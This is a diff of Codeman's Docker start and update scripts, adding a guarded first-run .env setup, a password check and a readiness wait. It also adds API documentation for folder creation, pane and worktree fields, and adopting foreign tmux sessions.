+  if [[ -z "$tz" && -L /etc/localtime ]]; then
+    tz=$(readlink /etc/localtime 2>/dev/null) || tz=''
+    tz=${tz##*zoneinfo/}
+  fi
+  if [[ ! "$tz" =~ $re ]]; then
+    tz='Etc/UTC'
+  fi
+  printf '%s' "$tz"
+}
+
+generate_password() {
+  local pw=''
+  # `|| true`: head closing the pipe early is the normal case, not a failure.
+  pw=$(LC_ALL=C tr -dc 'A-Za-z0-9' </dev/urandom 2>/dev/null | head -c 24) || true
+  if ((${#pw} != 24)) && command -v openssl >/dev/null 2>&1; then
+    pw=$(openssl rand -base64 48 | LC_ALL=C tr -dc 'A-Za-z0-9' | head -c 24) || true
+  fi
+  if ((${#pw} != 24)); then
+    printf 'Error: could not generate a password; set CODEMAN_PASSWORD and rerun.\n' >&2
+    exit 1
+  fi
+  printf '%s' "$pw"
+}
+
+# Compose reads .env values with its own dotenv rules: `$` interpolates and an
+# unquoted ` #` starts a comment. A single-quoted value is taken literally, so
+# anything beyond plain path characters is written that way. It cannot hold a
+# single quote, and a backslash just before the closing quote escapes that quote,
+# so the whole file fails to parse: the accept_* checks below refuse both.
+env_quote() {
+  local re='^[A-Za-z0-9._/@:+-]*$'
+  if [[ "$1" =~ $re ]]; then
+    printf '%s' "$1"
+  else
+    printf "'%s'" "$1"
+  fi
+}
+
+repo_root=$(cd -- "$script_dir/.." && pwd)
+
+# Sets setup_appdata, or says why the answer cannot be used and returns 1.
+accept_appdata_path() {
+  local p=$1
+  case "$p" in
+    '~') p=$HOME ;;
+    '~/'*) p="$HOME/${p#\~/}" ;;
+  esac
+  while [[ "$p" == *//* ]]; do
+    p=${p//\/\//\/}
+  done
+  while [[ "$p" == */ && "$p" != / ]]; do
+    p=${p%/}
+  done
+  case "$p" in
+    *"'"* | *$'\n'*)
+      printf '  The path cannot contain a single quote or a line break.\n' >&2
+      return 1
+      ;;
+    *\\)
+      printf '  The path cannot end in a backslash.\n' >&2
+      return 1
+      ;;
+  esac
+  if [[ "$p" != /* ]]; then
+    printf '  Use an absolute path, one that starts with /.\n' >&2
+    return 1
+  fi
+  # The refusals below compare strings, so a dot segment could spell any folder
+  # they exist to keep out.
+  case "$p/" in
+    */./* | */../*)
+      printf '  Spell the path out, without . or .. in it.\n' >&2
+      return 1
+      ;;
+  esac
+  # The folder becomes the container's home directory, so its `.codeman` is
+  # the server's state directory: $HOME itself would share state.json with a
+  # Codeman installed directly on this machine.
+  if [[ "$p" == / || "$p" == "$HOME" ]]; then
+    printf '  Pick a folder of its own; it becomes the container'"'"'s home directory.\n' >&2
+    return 1
+  fi
+  if [[ "$p" == "$HOME/.codeman" || "$p" == "$HOME/.codeman/"* ]]; then
+    printf '  %s belongs to a Codeman installed directly on this machine; pick another folder.\n' "$HOME/.codeman" >&2
+    return 1
+  fi
+  # Inside the checkout it would sit in the image build context (COPY . .),
+  # CLI logins and all.
+  if [[ "$p" == "$repo_root" || "$p" == "$repo_root/"* ]]; then
+    printf '  Pick a folder outside %s; that folder is copied into the image when it is built.\n' "$repo_root" >&2
+    return 1
+  fi
+  setup_appdata=$p
+}
+
+accept_port() {
+  local re='^[0-9]+$'
+  if [[ ! "$1" =~ $re ]] || ((10#$1 < 1 || 10#$1 > 65535)); then
+    printf '  Use a port number from 1 to 65535.\n' >&2
+    return 1
+  fi
+  setup_port=$((10#$1))
+}
+
+accept_password() {
+  case "$1" in
+    *"'"* | *$'\n'*)
+      printf '  The password cannot contain a single quote or a line break.\n' >&2
+      return 1
+      ;;
+    *\\)
+      printf '  The password cannot end in a backslash.\n' >&2
+      return 1
+      ;;
+  esac
+  if ((${#1} < 8)); then
+    printf '  Use at least 8 characters.\n' >&2
+    return 1
+  fi
+  if [[ "$1" == 'changeme' ]]; then
+    printf '  That is the published example password; pick another.\n' >&2
+    return 1
+  fi
+  setup_password=$1
+}
+
+write_env_file() {
+  local tmp="$env_file.tmp.$$" line
+  (
+    umask 077
+    {
+      printf '# Written by Start-Codeman.sh on its first run, from .env.example.\n'
+      printf '# Change any value here, then rerun: bash docker/Start-Codeman.sh\n'
+      printf '\n'
+      while IFS= read -r line || [[ -n "$line" ]]; do
+        case "$line" in
+          TZ=*) printf 'TZ=%s\n' "$(env_quote "$setup_tz")" ;;
+          CODEMAN_APPDATA_PATH=*) printf 'CODEMAN_APPDATA_PATH=%s\n' "$(env_quote "$setup_appdata")" ;;
+          CODEMAN_CASES_PATH=*) printf 'CODEMAN_CASES_PATH=%s\n' "$(env_quote "$setup_cases")" ;;
+          CODEMAN_PORT=*) printf 'CODEMAN_PORT=%s\n' "$setup_port" ;;
+          CODEMAN_PASSWORD=*) printf 'CODEMAN_PASSWORD=%s\n' "$(env_quote "$setup_password")" ;;
+          *) printf '%s\n' "$line" ;;
+        esac
+      done <"$example_file"
+    } >"$tmp"
+  )
+  chmod 600 "$tmp"
+  mv -- "$tmp" "$env_file"
+}
+
+run_first_run_setup() {
+  local answer again default_appdata default_port port_note='' password_note username
+  if [[ "$EUID" == '0' ]]; then
+    printf 'Error: %s does not exist yet, and the first-run setup does not run as root.\n' "$env_file" >&2
+    printf 'Run it as the normal account that should own Codeman'"'"'s data (that account\n' >&2
+    printf 'needs to be in the docker group). On a root-only host such as Unraid, copy\n' >&2
+    printf '%s to %s by hand instead,\n' "$example_file" "$env_file" >&2
+    printf 'point CODEMAN_APPDATA_PATH at a folder an unprivileged account owns, set\n' >&2
+    printf 'CODEMAN_PASSWORD, and rerun.\n' >&2
+    exit 1
+  fi
+  if [[ ! -f "$example_file" ]]; then
+    printf 'Error: %s is missing, so there is nothing to build docker/.env from.\n' "$example_file" >&2
+    exit 1
+  fi
+
+  default_appdata=${CODEMAN_APPDATA_PATH:-$HOME/codeman-docker}
+  if [[ -n "${CODEMAN_PORT:-}" ]]; then
+    default_port=$CODEMAN_PORT
+  else
+    default_port=$(first_free_port 3000)
+    if [[ "$default_port" != '3000' ]]; then
+      port_note=' (3000 is already taken on this machine)'
+    fi
+  fi
+  setup_tz=$(host_timezone)
+  username=$(sed -n 's/^CODEMAN_USERNAME=//p' "$example_file" | head -n1)
+
+  printf '\nCodeman Docker setup\n'
+  printf 'There is no docker/.env yet, so this first run writes one. Enter takes the [default].\n\n'
+
+  if is_interactive; then
+    while :; do
+      printf '  Data folder (state, CLI logins, projects) [%s]: ' "$default_appdata"
+      ask
+      if [[ -z "$answer" ]]; then
+        answer=$default_appdata
+      fi
+      if accept_appdata_path "$answer"; then
+        break
+      fi
+    done
+    while :; do
+      printf '  Port [%s]%s: ' "$default_port" "$port_note"
+      ask
+      if [[ -z "$answer" ]]; then
+        answer=$default_port
+      fi
+      if accept_port "$answer"; then
+        break
+      fi
+    done
+    if [[ -n "${CODEMAN_PASSWORD:-}" ]]; then
+      accept_password "$CODEMAN_PASSWORD" || exit 1
+      printf '  Password: taken from CODEMAN_PASSWORD\n'
+    else
+      while :; do
+        printf '  Password [Enter generates a strong one]: '
+        ask -s
+        printf '\n'
+        if [[ -z "$answer" ]]; then
+          setup_password=$(generate_password)
+          generated_password=$setup_password
+          break
+        fi
+        if ! accept_password "$answer"; then
+          continue
+        fi
+        printf '  Repeat the password: '
+        again=$answer
+        ask -s
+        printf '\n'
+        if [[ "$again" == "$answer" ]]; then
+          break
+        fi
+        printf '  The two entries differ; try again.\n' >&2
+      done
+    fi
+  else
+    printf '  No questions asked (no terminal attached, or --yes): taking the defaults.\n'
+    accept_appdata_path "$default_appdata" || exit 1
+    accept_port "$default_port" || exit 1
+    if [[ -n "${CODEMAN_PASSWORD:-}" ]]; then
+      accept_password "$CODEMAN_PASSWORD" || exit 1
+    else
+      setup_password=$(generate_password)
+      generated_password=$setup_password
+    fi
+  fi
+
+  if port_in_use "$setup_port"; then
+    printf '  Note: something on this machine already listens on port %s, so starting will\n' "$setup_port" >&2
+    printf '  fail until it stops or CODEMAN_PORT in docker/.env names a free port.\n' >&2
+  fi
+
+  setup_cases="$setup_appdata/codeman-cases"
+  write_env_file
+  first_run=1
+  # Compose prefers the shell environment over the env file, so a preset still
+  # exported here would beat a different typed answer: docker/.env and the
+  # summary would name one folder and port and the stack would run on another.
+  unset TZ CODEMAN_APPDATA_PATH CODEMAN_CASES_PATH CODEMAN_PORT CODEMAN_PASSWORD
+
+  # A generated password goes to a terminal only: a captured log would be a
+  # weaker copy of a credential that controls Docker on this host.
+  if [[ -z "$generated_password" ]]; then
+    password_note='the one you chose'
+  elif [[ -t 1 ]]; then
+    password_note="$generated_password  (generated; it stays in docker/.env)"
+  else
+    password_note='generated; read it from docker/.env'
+  fi
+  printf '\nWrote %s (readable only by you):\n' "$env_file"
+  printf '  Data folder  %s\n' "$setup_appdata"
+  printf '  Projects     %s\n' "$setup_cases"
+  printf '  Port         %s\n' "$setup_port"
+  printf '  Time zone    %s\n' "$setup_tz"
+  printf '  Username     %s\n' "${username:-admin}"
+  printf '  Password     %s\n' "$password_note"
+  printf 'Everything else in it is optional (Git identity, private repositories, reverse\n'
+  printf 'proxy); docker/README.md explains each setting.\n\n'
+}
+
+if [[ ! -e "$env_file" && ! -L "$env_file" ]]; then
+  run_first_run_setup
+elif [[ ! -f "$env_file" ]]; then
+  # A dangling symlink or a directory is not "no .env yet": setup would replace
+  # the link, or leave its password file inside the directory and run again on
+  # every start.
+  printf 'Error: %s exists but is not a regular file.\n' "$env_file" >&2
+  printf 'Move it out of the way or repoint it, then rerun this script.\n' >&2
+  exit 1
+elif [[ "$setup_only" == '1' ]]; then
+  printf '%s already exists; the setup only runs when it does not, and never edits it.\n' "$env_file"
+fi
+
+if [[ "$setup_only" == '1' ]]; then
+  printf 'Start Codeman with: bash %s\n' "$script_dir/Start-Codeman.sh"
+  exit 0
+fi
+
 # Naming a Compose file explicitly disables Compose's automatic discovery of
 # the override file, so it has to be added back by hand. Without this, local
 # customisation in docker-compose.override.yml is silently ignored. The
@@ -32,18 +494,54 @@ for override_file in "$override_yml" "$override_yaml"; do
   fi
 done
 compose_command=(docker compose --env-file "$env_file" "${compose_files[@]}")
-appdata_path=$(
-  "${compose_command[@]}" config --environment |
-    awk -F= '$1 == "CODEMAN_APPDATA_PATH" { sub(/^[^=]*=/, ""); print; exit }'
-)
-cases_path=$(
-  "${compose_command[@]}" config --environment |
-    awk -F= '$1 == "CODEMAN_CASES_PATH" { sub(/^[^=]*=/, ""); print; exit }'
-)
-docker_socket=$(
-  "${compose_command[@]}" config --environment |
-    awk -F= '$1 == "DOCKER_SOCKET" { sub(/^[^=]*=/, ""); print; exit }'
-)
+
+# Every setting is read through Compose's own resolution (shell environment over
+# .env, quoting, interpolation), once. A failure is reported here with what
+# Compose said, instead of `set -e` ending the script at an empty value.
+compose_stderr=$(mktemp "${TMPDIR:-/tmp}/codeman-compose.XXXXXX")
+if ! compose_environment=$("${compose_command[@]}" config --environment 2>"$compose_stderr"); then
+  if grep -q -- 'unknown flag: --environment' "$compose_stderr"; then
+    printf 'Error: this Docker Compose (%s) is too old; Codeman needs %s or newer.\n' \
+      "${compose_version:-unknown version}" "$min_compose_version" >&2
+  else
+    cat -- "$compose_stderr" >&2
+    printf 'Error: `docker compose config` could not read %s and the Compose files (see above).\n' "$env_file" >&2
+  fi
+  rm -f -- "$compose_stderr"
+  exit 1
+fi
+# Compose's own warnings (an unset variable, say) still reach the terminal, once.
+cat -- "$compose_stderr" >&2
+rm -f -- "$compose_stderr"
+
+# No early `exit` in the awk program: it reads all of its input, so printf never
+# meets a closed pipe (a SIGPIPE would end the script under pipefail).
+compose_env_value() {
+  printf '%s\n' "$compose_environment" |
+    awk -F= -v key="$1" '$1 == key && !found { sub(/^[^=]*=/, ""); print; found = 1 }'
+}
+appdata_path=$(compose_env_value CODEMAN_APPDATA_PATH)
+cases_path=$(compose_env_value CODEMAN_CASES_PATH)
+docker_socket=$(compose_env_value DOCKER_SOCKET)
+codeman_port=$(compose_env_value CODEMAN_PORT)
+codeman_username=$(compose_env_value CODEMAN_USERNAME)
+codeman_password=$(compose_env_value CODEMAN_PASSWORD)
+
+# The container publishes its port on every interface and holds the host's
+# Docker socket, so whoever signs in to Codeman can run anything on this host.
+# The example's placeholder is a published password: refuse it outright.
+if [[ "$codeman_password" == 'changeme' ]]; then
+  printf 'Error: CODEMAN_PASSWORD is still the example value "changeme".\n' >&2
+  printf 'Codeman is reachable from your network and controls Docker on this machine, so\n' >&2
+  printf 'set a real password in %s, then rerun this script.\n' "$env_file" >&2
+  exit 1
+fi
+if [[ -z "$codeman_password" ]]; then
+  printf 'Warning: CODEMAN_PASSWORD is empty, so anyone who can reach port %s can use Codeman,\n' "${codeman_port:-?}" >&2
+  printf 'which controls Docker on this machine. Set one in %s unless something in front of it\n' "$env_file" >&2
+  printf 'already asks for a login.\n' >&2
+fi
+unset codeman_password
 
 if [[ -z "$appdata_path" ]]; then
   printf 'Error: CODEMAN_APPDATA_PATH is not set in %s\n' "$env_file" >&2
@@ -56,7 +554,11 @@ if [[ ! -d "$appdata_path" ]]; then
     printf 'Create it as the unprivileged account that should run Codeman, then retry.\n' >&2
     exit 1
   fi
-  mkdir -p -- "$appdata_path"
+  if ! mkdir -p -- "$appdata_path"; then
+    printf 'Error: cannot create CODEMAN_APPDATA_PATH: %s\n' "$appdata_path" >&2
+    printf 'Create it as the account that should run Codeman, or pick another folder in %s.\n' "$env_file" >&2
+    exit 1
+  fi
 fi
 
 if [[ -z "$cases_path" ]]; then
@@ -114,6 +616,7 @@ fi
 
 if [[ -z "$docker_socket" || ! -S "$docker_socket" ]]; then
   printf 'Error: DOCKER_SOCKET is not a Unix socket: %s\n' "${docker_socket:-<unset>}" >&2
+  printf 'Set DOCKER_SOCKET in %s to the socket your Docker daemon listens on.\n' "$env_file" >&2
   exit 1
 fi
 
@@ -209,6 +712,148 @@ else
   printf 'Warning: no sha256 tool found; in-app updates will not detect environment changes.\n' >&2
 fi
 
+# ── Start, then wait until Codeman answers ──────────────────────────────────
+# `up -d` returns as soon as the container exists, which says nothing about the
+# server inside it. The wait asks the server itself through `docker exec` (the
+# same request as the compose healthcheck, which first runs only after its 30 s
+# interval), notices a crash loop by the restart count moving, and ends on the
+# URL to open. Docker's own view works with any network setup, macvlan included.
+
+logs_hint="cd $(printf '%q' "$script_dir") && docker compose logs -f codeman"
+
+# Docker's own output above says what broke; this adds the next step. A first
+# build fetches hundreds of packages, so a network hiccup is the usual cause of
+# a failed build, and a rerun picks up from Docker's layer cache.
+compose_failed() {
+  printf '\nError: `docker compose %s` failed (see the output above).\n' "$1" >&2
+  case "$1" in
+    build)
+      printf 'A network hiccup while building is the usual cause; rerunning this script\n' >&2
+      printf 'resumes from Docker'"'"'s cache.\n' >&2
+      ;;
+    *--build*)
+      printf 'If it stopped while building the image, a network hiccup is the usual cause,\n' >&2
+      printf 'and rerunning this script resumes from Docker'"'"'s cache.\n' >&2
+      ;;
+  esac
+  exit 1
+}
+
+lan_ip() {
+  local ip=''
+  if [[ "$(uname -s)" == 'Darwin' ]]; then
+    ip=$(ipconfig getifaddr en0 2>/dev/null || ipconfig getifaddr en1 2>/dev/null) || ip=''
+  else
+    # The address the default route leaves from: the first one `hostname -I`
+    # lists is often docker0 or a VPN interface.
+    ip=$(ip -4 route get 1.1.1.1 2>/dev/null | sed -n 's/.* src \([0-9.]*\).*/\1/p') || ip=''
+    ip=${ip%%$'\n'*}
+    if [[ -z "$ip" ]]; then
+      ip=$(hostname -I 2>/dev/null) || ip=''
+      ip=${ip%% *}
+    fi
+  fi
+  printf '%s' "$ip"
+}
+
+print_access_summary() {
+  local cid=$1 published host_port bind_host lan addresses dir_q
+  dir_q=$(printf '%q' "$script_dir")
+  published=$("${compose_command[@]}" port codeman "$codeman_port" 2>/dev/null) || published=''
+  published=${published%%$'\n'*}
+  printf '\n'
+  if [[ -n "$published" ]]; then
+    host_port=${published##*:}
+    bind_host=${published%:*}
+    printf '  Open        http://localhost:%s\n' "$host_port"
+    case "$bind_host" in
+      127.0.0.1 | '[::1]' | ::1) ;;
+      *)
+        lan=$(lan_ip)
+        if [[ -n "$lan" ]]; then
+          printf '              http://%s:%s  (from other devices on your network)\n' "$lan" "$host_port"
+        fi
+        ;;
+    esac
+  else
+    addresses=$(docker inspect --format '{{range .NetworkSettings.Networks}}{{.IPAddress}} {{end}}' "$cid" 2>/dev/null) || addresses=''
+    printf '  Open        http://<container address>:%s  (no host port is published; container addresses: %s)\n' \
+      "$codeman_port" "${addresses:-unknown}"
+  fi
+  printf '  Sign in     %s, with the CODEMAN_PASSWORD from %s\n' "${codeman_username:-admin}" "$env_file"
+  if [[ -n "$generated_password" && -t 1 ]]; then
+    printf '  Password    %s  (generated on this first run)\n' "$generated_password"
+  fi
+  if [[ "$first_run" == '1' ]]; then
+    printf '\n  Next: start a session from the dashboard and log its CLI in once. Logins are\n'
+    printf '  kept in %s, so they survive rebuilds.\n' "$appdata_path"
+  fi
+  printf '\n'
+  printf '  Logs        cd %s && docker compose logs -f codeman\n' "$dir_q"
+  printf '  Stop        cd %s && docker compose down\n' "$dir_q"
+  printf '  Update      App Settings > Updates in the dashboard, or git pull and rerun this script\n'
+}
+
+report_when_ready() {
+  local cid state status health restarts first_restarts='' waited=0 limit=180 probe dots=0
+  cid=$("${compose_command[@]}" ps -q codeman 2>/dev/null) || cid=''
+  cid=${cid%%$'\n'*}
+  if [[ -z "$cid" ]]; then
+    printf 'Error: Compose started no codeman container. Look at: %s\n' "$logs_hint" >&2
+    return 1
+  fi
+  if [[ "$no_wait" == '1' ]]; then
+    printf '\nCodeman is starting (--no-wait given, so not waiting for it).\n'
+    print_access_summary "$cid"
+    return 0
+  fi
+  if [[ -t 1 ]]; then
+    dots=1
+  fi
+  probe="fetch('http://127.0.0.1:${codeman_port}/api/status').then((r) => process.exit(r.status < 500 ? 0 : 1)).catch(() => process.exit(1))"
+  printf 'Waiting for Codeman to answer...'
+  while :; do
+    state=$(docker inspect --format '{{.State.Status}}|{{if .State.Health}}{{.State.Health.Status}}{{end}}|{{.RestartCount}}' "$cid" 2>/dev/null) || state='missing||0'
+    status=${state%%|*}
+    health=${state#*|}
+    health=${health%%|*}
+    restarts=${state##*|}
+    if [[ -z "$first_restarts" ]]; then
+      first_restarts=$restarts
+    fi
+    if [[ "$health" == 'healthy' ]] ||
+      { [[ "$status" == 'running' ]] && docker exec "$cid" node -e "$probe" >/dev/null 2>&1; }; then
+      printf ' ready.\n'
+      print_access_summary "$cid"
+      return 0
+    fi
+    if [[ "$status" == 'exited' || "$status" == 'dead' || "$status" == 'missing' || "$status" == 'restarting' ||
+      "$health" == 'unhealthy' || "$restarts" != "$first_restarts" ]]; then
+      printf '\n'
+      printf 'Error: Codeman did not come up (container %s). Its last log lines:\n\n' "${status:-unknown}" >&2
+      "${compose_command[@]}" logs --tail 40 codeman >&2 || true
+      printf '\nFollow the full log with: %s\n' "$logs_hint" >&2
+      return 1
+    fi
+    if ((waited >= limit)); then
+      printf '\n'
+      printf 'Warning: Codeman has not answered after %s seconds. It may still be starting;\n' "$limit" >&2
+      printf 'follow it with: %s\n' "$logs_hint" >&2
+      return 1
+    fi
+    if ((dots)); then
+      printf '.'
+    fi
+    sleep 2
+    waited=$((waited + 2))
+  done
+}
+
+if [[ "$first_run" == '1' ]]; then
+  printf 'Building the image. The first build downloads and compiles everything and takes a\n'
+  printf 'few minutes; later starts reuse most of it.\n'
+fi
+
 # codeman-node-modules and codeman-dist (docker-compose.yaml) are seeded from
 # the image only while EMPTY, so a rebuilt image's fresh output sits unused
 # behind old volume content until something clears it. The in-app self-updater
@@ -235,7 +880,9 @@ if [[ -n "$dockerfile_sha" ]]; then
 fi
 
 if [[ ${#volumes_to_refresh[@]} -eq 0 ]]; then
-  exec "${compose_command[@]}" up --build -d
+  "${compose_command[@]}" up --build -d || compose_failed 'up --build'
+  report_when_ready || exit 1
+  exit 0
 fi
 
 # Runs even on this script's very first invocation against an EXISTING
@@ -247,7 +894,7 @@ printf 'Source changed since the last start; refreshing: %s\n' "${volumes_to_ref
 
 # Build BEFORE taking the stack down: the image build is the slow part and needs
 # no container stopped, so the deployment is offline only for the recreate.
-"${compose_command[@]}" build
+"${compose_command[@]}" build || compose_failed build
 
 # `com.docker.compose.volume` is the volume KEY, not a project-qualified name -
 # a second stack on the same host (a beta instance started with a different
@@ -306,4 +953,5 @@ fi
 
 # Already built above, so no --build here: a second build would only re-check
 # the cache.
-exec "${compose_command[@]}" up -d
+"${compose_command[@]}" up -d || compose_failed up
+report_when_ready || exit 1

docker/Update-Codeman.sh

@@ -166,10 +166,11 @@ fi
 # appdata directory (which creates it): this script updates an EXISTING
 # deployment, so a missing appdata path means there is nothing here yet to
 # update, and creating one would just be this script quietly doing
-# Start-Codeman.sh's first-run job worse.
+# Start-Codeman.sh's first-run job worse. No early `exit` in awk: a closed pipe
+# would end this script through pipefail, with no message.
 appdata_path=$(
   "${compose_command[@]}" config --environment |
-    awk -F= '$1 == "CODEMAN_APPDATA_PATH" { sub(/^[^=]*=/, ""); print; exit }'
+    awk -F= '$1 == "CODEMAN_APPDATA_PATH" && !found { sub(/^[^=]*=/, ""); print; found = 1 }'
 )
 if [[ -z "$appdata_path" || ! -d "$appdata_path" ]]; then
   printf 'Error: CODEMAN_APPDATA_PATH is not set or does not exist: %s\n' "${appdata_path:-<unset>}" >&2
@@ -177,6 +178,22 @@ if [[ -z "$appdata_path" || ! -d "$appdata_path" ]]; then
   exit 1
 fi
 
+# Start-Codeman.sh refuses to start while the password is still the example's
+# `changeme`. Checked here too, BEFORE the build and the `down` below: found
+# only at the handoff, that refusal would leave the stack this script just
+# stopped down. No early `exit` in awk, so printf never meets a closed pipe.
+codeman_password=$(
+  "${compose_command[@]}" config --environment |
+    awk -F= '$1 == "CODEMAN_PASSWORD" && !found { sub(/^[^=]*=/, ""); print; found = 1 }'
+)
+if [[ "$codeman_password" == 'changeme' ]]; then
+  printf 'Error: CODEMAN_PASSWORD is still the example value "changeme".\n' >&2
+  printf 'Codeman is reachable from your network and controls Docker on this machine, so\n' >&2
+  printf 'set a real password in %s, then rerun this script. Nothing was stopped.\n' "$env_file" >&2
+  exit 1
+fi
+unset codeman_password
+
 # `stat -c` is GNU, `stat -f` is BSD/macOS; the bind source lives on the Docker
 # host, so both need to work. Identical to Start-Codeman.sh's own helper.
 owner_of() {

docs/api-reference.md

@@ -287,7 +287,8 @@ long turn, but a worker that never comes back is far more likely to be working t
 blocked, and polling `blocked` alone will sit at its timeout.
 
 **`blocked` on `codex` is read off the screen**, because codex has no hooks and is
-launched with its approvals on unless `codexConfig.dangerouslyBypassApprovals` is set.
+launched with its approvals on unless `codexConfig.dangerouslyBypassApprovals` is set
+(`codexConfig.networkAccess` opens the sandbox's network and does not change that).
 A codex pane showing a command, edit or network approval, a question (`request_user_input`)
 or the startup trust prompt raises `blocked` (plus the red alert, push and webhook a Claude
 `permission_prompt` raises, alert-only: answer it in the terminal), and the session reads
@@ -900,6 +901,16 @@ already serves non-media text inert (`text/plain`, `nosniff`), so this just
 keeps the server from storing what it would serve or an agent could run, and
 html and svg are the ones deliberately kept out.
 
+## New folder in the path picker
+
+`POST /api/filesystem/mkdir` with `{ path, name, sessionId?, showHidden? }` makes one
+folder directly inside `path`, which must be a folder the path picker may browse, and
+answers `{ path }`. `name` is one path segment (letters, numbers, spaces and `_ - . ~`, not
+starting with a dot or `~`). `400` for a cases folder (use Add Case → Create New or Clone
+Repo with no custom folder) or a `path` that is not a directory, `403` for a blocked tree
+or a `path` outside the browse roots, `404` for a `path` that does not exist, `409` when
+the folder already exists, and `422` when the mount under `path` does not answer.
+
 ## Rendered HTML files
 
 An `.html`/`.htm` file renders as a page in a sandbox, in two steps
@@ -969,6 +980,56 @@ also pure decoration: it confers no permission, and a child is unaffected by its
 parent exiting. It appears on session state as `parentSessionId` (absent when
 unresolved) and survives a server restart.
 
+## Pane directory (`paneCwd`)
+
+Session state (`GET /api/v1/sessions`, the `session:updated` event) may carry `paneCwd`,
+the directory the session's local tmux pane is in now (`#{pane_current_path}`), which
+the web UI uses as the base for a relative path printed in the terminal. It is
+never restored after a restart (it is written to `state.json` with the rest of the
+session state but not read back), absent for remote,
+Docker, adopted, direct-PTY and rediscovered sessions and for a session split into several panes,
+and never a confinement root: file routes stay confined to `workingDir`.
+tmux reports the resolved directory, so for a workspace reached through a symlink a
+directory at or under the resolved workspace is reported in `workingDir`'s spelling.
+
+## Live worktree (`liveWorktree`)
+
+Session state (`GET /api/v1/sessions`, the `session:updated` event) may carry `liveWorktree`,
+the linked git worktree the session's pane is in now, for example after Claude Code's
+EnterWorktree moved the running session:
+
+```json
+"liveWorktree": { "name": "feature-a", "path": "/home/me/repo/.claude/worktrees/feature-a" }
+```
+
+It is derived from `paneCwd`, so it is absent wherever that is, and it is only ever a folder
+strictly below `workingDir`: a worktree elsewhere is never reported. `path` is in `workingDir`'s
+spelling. Like `paneCwd` it is never restored after a restart and never a confinement root.
+
+`GET /api/v1/sessions/:id/files` takes an optional `root=live`, which starts the listing, or a
+`q` search, at that worktree instead of at `workingDir`. The response's `root` names the folder
+that was walked: it stays `workingDir` when the session is in no worktree, when the worktree has
+gone, and when the folder no longer resolves inside `workingDir`. A `path` in the response stays
+relative to `workingDir` either way, so it works unchanged on `file-content` and `file-raw`,
+while a `q` containing `/` is matched against paths relative to the folder walked. The response
+also carries `worktree`, the same `{ name, path }`, whenever the session has a `liveWorktree`,
+whichever folder was walked and with or without `root=live`.
+
+The walk lists at most 5,000 files and folders and opens no more folders once it has read 250,000
+directory entries (the folder that crosses that line is read whole). It sets `truncated` when it
+stops with anything left, which includes a folder it never opened, even if that folder would have
+turned out to be empty. It is a per-directory round-robin (breadth-first): each folder found so far
+gets an equal share of what is left before any of them gets more, and a folder's own files count
+as one more share beside the subfolders it has just found, so one huge folder cannot use up the
+listing limit before its later siblings or its own subfolders are read, and the `matches` of a `q`
+search come back shallow-first. A folder made of thousands of small subfolders can still use most
+of the limit one level down, and folders that add up to the read limit can leave later ones
+unread. A folder below the start of the walk that does not answer a bounded probe (a mount that
+stopped responding) is not read either, and counts as left over the same way. In the tree, a
+directory node the walk stopped short of for either reason also carries `incomplete: true`: its
+`children` hold what was listed before it stopped, which can be nothing. The key is absent on every
+other node.
+
 ## Session model (`displayModel`)
 
 Session state (`GET /api/v1/sessions`, the `session:updated` event) carries the model a
@@ -1063,6 +1124,80 @@ the caller's case space, a linked case's exact path, or a Claude worktree of eit
 session, the create response carries `tabLayout` as it does for `tabGroupId`. Deleting the
 case forgets the value; existing sessions never move.
 
+## Adopting a foreign tmux session
+
+A tmux session someone started by hand (`tmux new -s work`) lives on its own socket,
+where Codeman does not look for its own sessions. These two routes list such sessions
+and open one as a tab. Admin-only in multi-user mode (403), since the list shows other
+people's processes and adopting a shell is arbitrary execution as the server account.
+
+`GET /api/v1/mux/foreign` lists candidates. Local sessions are always scanned, and
+cached for 5 s. `?docker=1` and `?remote=1` add the containers behind the saved Docker
+cases and the saved ssh hosts, one `docker exec` or ssh connection per target, so the
+browser sends them only on an explicit scan. `?force=1` skips the local cache.
+
+```json
+{
+  "sessions": [
+    {
+      "id": "fa9b76d36",
+      "location": "local",
+      "socketPath": "/tmp/tmux-1000/default",
+      "sessionName": "work",
+      "windows": 1,
+      "attached": false,
+      "createdAt": 1793931275000,
+      "mode": "claude",
+      "command": "claude",
+      "workingDir": "/home/me/project",
+      "adoptedBy": "961d0a82-6888-425d-a3ee-dab38ecbb598"
+    }
+  ],
+  "scannedAt": 1793931277916,
+  "notes": ["remote Build box: unreachable, or no tmux"],
+  "pollIntervalMs": 8000,
+  "canScanWide": true
+}
+```
+
+`hostId`, `hostLabel` and `containerName` appear on a docker or remote candidate.
+`adoptedBy` names the session already wrapping that target. `notes` says why a location
+gave nothing, each opening with where it came from (`local`, `docker <name>`,
+`remote <label>`). A session whose name or socket path holds characters Codeman will not
+pass to a shell, or whose name tmux reads as a target rather than a name (one starting
+with `=`, `@` or `%`, or a bare `~`), is skipped and counted in a note. A tmux server that
+does not answer within 2 seconds costs only its own rows and gets a note, and a scan cut
+short keeps the rows it read and says so in one. Sessions on a Codeman socket never appear,
+and neither does a session named `codeman-*` or `claudeman-*` on any other socket, with no note.
+
+`POST /api/v1/sessions/adopt` wraps one, with `{ "id": "...", "docker": true, "remote":
+true }` (the two flags must match the listing the id came from; `name` and
+`parentSessionId` are optional). The body carries only that opaque id: the target is
+re-resolved by a fresh scan, so a candidate that is gone answers `404`, and one on a
+location unreachable this time answers `404` saying so.
+
+The answer is `{ "session": SessionState, "adopted": true }`, or
+`{ "session": SessionState, "alreadyAdopted": true }` when the target already has a
+wrapper. A second adopt of a target whose wrapper is still being created is
+`SESSION_BUSY`. The session has `adopt` set and `pid: null`: start it like any other,
+`POST .../shell` for `mode: "shell"` and `POST .../interactive` for the rest. `mode`
+comes from the pane's process tree.
+
+Closing the session detaches. The foreign session keeps running, and only Codeman's
+wrapper and its grouped `codeman-view-<id>` session go, so `DELETE` removes nothing that
+belongs to someone else. Codeman did not start this agent, so these refuse an adopted
+session: respawn, Ralph (its config and the `fix-plan/write`, `fix-plan/read` and
+`ralph-prompt/write` file routes), one-shot `POST .../run`, auto-clear, auto-compact,
+auto-resume, custom model endpoints, prompt uploads and the image watcher. `stop` waits
+are a 400, and so are `blocked` waits unless Codeman reads that CLI's dialogs off its
+screen (codex), `git-status`, `git-fetch` and Edit history (`.../edits`) answer
+`unsupported` with `reason: "adopted"`, `git-diff` and `git-fetch-settings` answer
+`400 INVALID_INPUT`, and `last-response` answers empty, since Codeman knows no transcript
+for it. Its `paneExit`
+stays absent, because the pane holds a `tmux attach` and not the agent. Reboot restore
+does not rebuild one. A wrapper that cannot start answers `OPERATION_FAILED` and leaves
